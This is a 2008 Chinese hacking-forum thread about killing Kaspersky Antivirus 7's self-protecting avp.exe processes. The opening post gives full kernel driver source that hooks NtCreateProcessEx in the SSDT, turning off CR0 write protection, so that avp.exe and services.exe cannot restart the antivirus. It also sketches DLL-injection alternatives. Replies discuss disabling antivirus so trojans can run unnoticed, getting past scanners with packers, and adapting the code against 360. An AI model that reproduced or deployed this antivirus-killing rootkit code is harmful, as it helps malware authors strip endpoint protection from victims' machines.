发新话题
打印

[原创]kill卡巴7 恢复ssdt之后

[原创]kill卡巴7 恢复ssdt之后

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:认真的雪[EST]
前些时候玩卡巴7,恢复ssdt之后,发现能用任务管理器结束进程了,竟然米发现还有进程守护,哎.....髓男呀
卡巴有两个avp.exe进程,一个用户模式下的,一个系统模式下的,而且当其中任意一个进程被结束,马上又会被重新创建。。。。。
不过这当中有些不同,当用户模式下的avp.exe被kill后,由系统模式下的avp.exe重新创建用户下的avp.exe,而当系统模式下的avp.exe被结束后,则是由services.exe重新创建系统模式的avp.exe的(权限继承,方便,猥琐,哈哈.....,可能用了远程线程技术)

所以把内核模式下滴NtCreateProcessEx HOOK,就ok了(xp下创建进程不调用NtCreateProcess),看你嚣张到几时
复制内容到剪贴板
代码:
#include "ntddk.h"
#include "stdio.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define NAMEOFFSET 0X174

typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

typedef NTSTATUS (*NTCREATEPROCESSEX)(
                                                                          OUT PHANDLE ProcessHandle,
                                                                          IN ACCESS_MASK DesiredAccess,
                                                                          IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
                                                                          IN HANDLE ParentProcess,
                                                                          IN BOOLEAN InheritObjectTable,
                                                                          IN HANDLE SectionHandle OPTIONAL,
                                                                          IN HANDLE DebugPort OPTIONAL,
                                                                          IN HANDLE ExceptionPort OPTIONAL,
                                                                          IN HANDLE Unknown );

DWORD    OldNtCreateProcessEx;

NTSTATUS NewNtCreateProcessEx(
                                                          OUT PHANDLE ProcessHandle,
                                                          IN ACCESS_MASK DesiredAccess,
                                                          IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
                                                          IN HANDLE ParentProcess,
                                                          IN BOOLEAN InheritObjectTable,
                                                          IN HANDLE SectionHandle OPTIONAL,
                                                          IN HANDLE DebugPort OPTIONAL,
                                                          IN HANDLE ExceptionPort OPTIONAL,
                                                          IN HANDLE Unknown OPTIONAL)
{
    CHAR processName[20];
        PCHAR name;
        DWORD eproc;
        eproc=(DWORD)PsGetCurrentProcess();
        name=(PCHAR)(eproc+NAMEOFFSET);
        strncpy(processName,name,16);
        strlwr(processName);
        if(strncmp(processName,"avp.exe",7)==0||strncmp(processName,"services.exe",12)==0)
        {
                return STATUS_ACCESS_DENIED;
        }
       
    return ((NTCREATEPROCESSEX)(OldNtCreateProcessEx))(ProcessHandle,DesiredAccess,
                ObjectAttributes,ParentProcess,InheritObjectTable,SectionHandle,DebugPort,ExceptionPort,Unknown);
}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    DbgPrint("OnUnload called\n");
    _asm
    {
        CLI                    
                        MOV    EAX, CR0        
                        AND EAX, NOT 10000H
                        MOV    CR0, EAX        
    }
    *(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=OldNtCreateProcessEx;
    _asm
    {
        MOV    EAX, CR0        
                        OR    EAX, 10000H            
                        MOV    CR0, EAX               
                        STI                    
    }
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
    theDriverObject->DriverUnload  = OnUnload;
    OldNtCreateProcessEx=*(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30);
    _asm
    {
        CLI                 
                        MOV    EAX, CR0        
                        AND EAX, NOT 10000H
                        MOV    CR0, EAX        
    }
    *(DWORD*)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + 0x30)=(DWORD)NewNtCreateProcessEx;
    _asm
    {
        MOV    EAX, CR0     
                        OR    EAX, 10000H         
                        MOV    CR0, EAX           
                        STI               
    }            
    return STATUS_SUCCESS;
}
其实再用户模式下应该也可以实现突破进程守护
1、再用户模式下hook avp.exe和services.exe的ZwCreateProcessEx函数
2、向avp.exe注入个dll(sstd都恢复了,注入dll应该可以了),让所有线程都挂起,先结束系统模式下的avp.exe,然后再结束用户模式下滴
上面两种方法,偶也米试过,只是思路,可能会有错误,懒瓦......
不知道大伙还有啥办法不?

[ 本帖最后由 认真的雪 于 2008-4-19 10:58 编辑 ]

TOP

直接把avp.exe文件改个名就好了....方便直接简单有效
引用:
偶也米试过,只是思路,可能会有错误,懒瓦
我也一样
阿尔卑斯与八宝糖还有冷苹果

TOP

还是劫持方便点,你倒干净的杀了它,换个有脑子的人,看见卡巴不见了,他不会等着你下一步的行动的。
不过照着这样的思路可以试试其他的出名的主动防御,偶去去就来,找几个杀软kill一下

TOP

对于KIS7.0没必要杀了他,恢复一下SSDT,他的主动防御就完蛋了。想干啥就干啥。。。
如果真的要杀,只要阻止SERVICES.EXE创建KAV就可以了,就是小雪的这个方法了哈。
引用:
直接把avp.exe文件改个名就好了....方便直接简单有效
这个没试过,现在机器上不用咔吧了,也懒的试,我记得KIS7目录好象是无法操作的吧?好象只可以创建文件夹。。。

[ 本帖最后由 风泽 于 2008-4-19 14:20 编辑 ]

TOP

我觉的用感染文件来启动+免杀过卡巴更舒服哈!

TOP

回复 地板 风泽 的帖子

恢复ssdt之后就可以操作目录了
阿尔卑斯与八宝糖还有冷苹果

TOP

回复 板凳 末日逐沙 的帖子

好像没碰到过其他杀软有进程守护的.....kill了杀软的确太明显了,摆明了病毒来了,这个方法也是再恢复卡巴hook的相关ssdt之后才能,配合着kill他的。。。。只当一种技术来研究....

TOP

杀掉以后图标还在,用户不会马上发现的,等木马运行后再启动杀软就行了

TOP

我拿我的微点试了试,先删了 两个进程,没反应,然后又删了一个进程,微点自己又恢复了原来的那两个进程,还弹出页面通知,但是在安全日志里面没记载,核心守护毕竟不是吹得,毕竟刘旭老总也不是做了一年两年软件的菜鸟。

进程守护是很多杀毒软件都具有,面对现在这样的网络环境,谁都不敢说自己的杀软百毒不侵,加进守护自己进程技术是必然的,连360都有自我保护,以前论坛上还有一位做过试验360的试验。
得 看来我还真是备受关注,但是对付微点这种内核级的杀毒软件(当然很多杀软现在都是,但是有强弱之分)相比之下用任务管理器还可以消灭它两个进程,但是如果用工具的话,反倒不容易删除了(不懂为什么,老鸟讲讲)如果你删除一个杀软死机两次,蓝屏一次的话,估计我们对它的破坏也是不好玩的了

[ 本帖最后由 末日逐沙 于 2008-4-21 19:38 编辑 ]

TOP

老牛们看来都是玩c++的,看来不学不行了,大家的发展方向都是越来越低层的了
love hack

TOP

引用:
原帖由 末日逐沙 于 2008-4-19 18:44 发表
我拿我的微点试了试,先删了 两个进程,没反应,然后又删了一个进程,微点自己又恢复了原来的那两个进程,还弹出页面通知,但是在安全日志里面没记载,核心守护毕竟不是吹得,毕竟刘旭老总也不是做了一年两年软件的菜鸟。

进 ...
微点不过如此。。。别以为高明到了哪里
Heaven is a place nearby so I won't be so far away and if you try and look for me maybe you'll find me someday

TOP

瑞星2008的病毒查杀,很让人头疼。刚写出来的程序可以过,加完壳居然就过不了了,试了 N多的壳就是不行,难道他对加壳文件用了虚拟机?
love hack

TOP

晕!你发现的这个我半年前就玩过了!

TOP

拿回去改改看能杀360不

TOP

引用:
原帖由 ldu 于 2008-4-24 11:10 发表
拿回去改改看能杀360不
360是Inline-HOOK了KeUserModeCallBack.
不是HOOK SSDT

TOP

发新话题